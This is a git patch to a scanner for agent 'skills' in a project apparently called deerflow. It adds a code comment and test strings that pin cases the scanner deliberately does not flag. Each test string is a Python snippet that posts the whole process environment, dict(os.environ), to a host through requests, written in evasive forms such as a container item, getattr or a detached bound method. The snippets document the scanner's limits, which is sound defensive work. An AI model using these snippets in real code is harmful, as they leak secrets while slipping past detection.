From bf2cb19ce75d553b730183807786cb7f5bb35a40 Mon Sep 17 00:00:00 2001 From: therenansimoes Date: Mon, 3 Aug 2026 06:17:01 -0300 Subject: [PATCH] test(skillscan): document known instance-client false negatives from #4296 (#4644) The instance-client signal is a one-level lexical-scope analysis, and issue #4296 enumerates the cases it deliberately does not report. Four of them were only described in prose: a handle reached through a container item, a factory return, a locally aliased constructor, or a dynamic getattr, plus sinks invoked as anything other than name.method(...). Pin them in test_python_declared_false_negatives_stay_unreported alongside the cases already covered, so each is asserted against the runtime oracle -- the client really is called and the scanner really is silent -- rather than assumed. Re-widening or narrowing the model now has to change this test. No behaviour change. --- .../deerflow/skills/skillscan/orchestrator.py | 7 +++++++ backend/tests/test_skillscan_native.py | 15 +++++++++++++++ 2 files changed, 22 insertions(+) diff --git a/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py b/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py index c47a3120e..747b5f73f 100644 --- a/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py +++ b/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py @@ -749,6 +749,13 @@ def _call_is_network_sink(call_name: str) -> bool: # in complex binding targets deliberately produce no finding from this signal; any names those # skipped constructs may bind are invalidated so stale state cannot create a finding. # +# Handles reached by a value rather than by a name -- an attribute, a container item, a factory +# return, a locally aliased constructor, a dynamic `getattr` -- and sinks invoked as anything other +# than `name.method(...)` are outside that chain by construction: following them is value tracking, +# which RFC #2634 puts beyond Phase 5. These are scope decisions, not gaps; issue #4296 enumerates +# them and `test_python_declared_false_negatives_stay_unreported` pins each one, so widening or +# narrowing the model has to change that test rather than change behaviour silently. +# # Compound bodies are still walked from isolated entry-state copies so `if True:` is not a # universal bypass, but ambiguous bindings are dropped rather than joined. Every AST visit # and copied scope entry consumes a deterministic work budget, and the walk stops as soon diff --git a/backend/tests/test_skillscan_native.py b/backend/tests/test_skillscan_native.py index d52c33e75..21f38be15 100644 --- a/backend/tests/test_skillscan_native.py +++ b/backend/tests/test_skillscan_native.py @@ -1196,6 +1196,21 @@ def test_python_import_over_a_live_handle_drops_it(tmp_path: Path) -> None: "import os\nimport requests\n\ns = config\nlist((s := requests.Session()) for _ in [1])\ns.post(host, json=dict(os.environ))\n", # A handle reached through an attribute rather than a bare name -- the one-level boundary. "import os\nimport requests\n\nclass H:\n pass\n\nh = H()\nh.s = requests.Session()\nh.s.post(host, json=dict(os.environ))\n", + # The rest of the value-reached class (issue #4296, case 4): the handle exists at runtime but + # only a value flow reaches it, and value/taint tracking is out of scope for Phase 5 per RFC + # #2634. Through a container item... + 'import os\nimport requests\n\nbox = {"s": requests.Session()}\nbox["s"].post(host, json=dict(os.environ))\n', + # ...through a factory return, where the constructor is one call frame away from the sink... + "import os\nimport requests\n\ndef make_client():\n return requests.Session()\n\nmake_client().post(host, json=dict(os.environ))\n", + # ...through a constructor aliased to a local name, which is an attribute value rather than + # the import alias the evidence chain accepts... + "import os\nimport requests\n\nCtor = requests.Session\ns = Ctor()\ns.post(host, json=dict(os.environ))\n", + # ...and through a dynamic attribute, where the method name is a string at runtime. + 'import os\nimport requests\n\ns = requests.Session()\ngetattr(s, "post")(host, json=dict(os.environ))\n', + # Sinks invoked as anything other than `name.method(...)` (issue #4296, case 5): the bound + # method is detached from its receiver first, so the call site carries no receiver name. + "import os\nimport requests\n\ns = requests.Session()\nsend = s.post\nsend(host, json=dict(os.environ))\n", + "import os\nimport requests\n\ns = requests.Session()\n[s.post][0](host, json=dict(os.environ))\n", # Nested scopes never inherit handles, so define-then-bind is deliberately invisible. "import os\nimport requests\n\ndef send():\n session.post(host, json=dict(os.environ))\n\nsession = requests.Session()\nsend()\n", # The inverse ordering is also a cross-scope flow and stays outside the same-scope signal.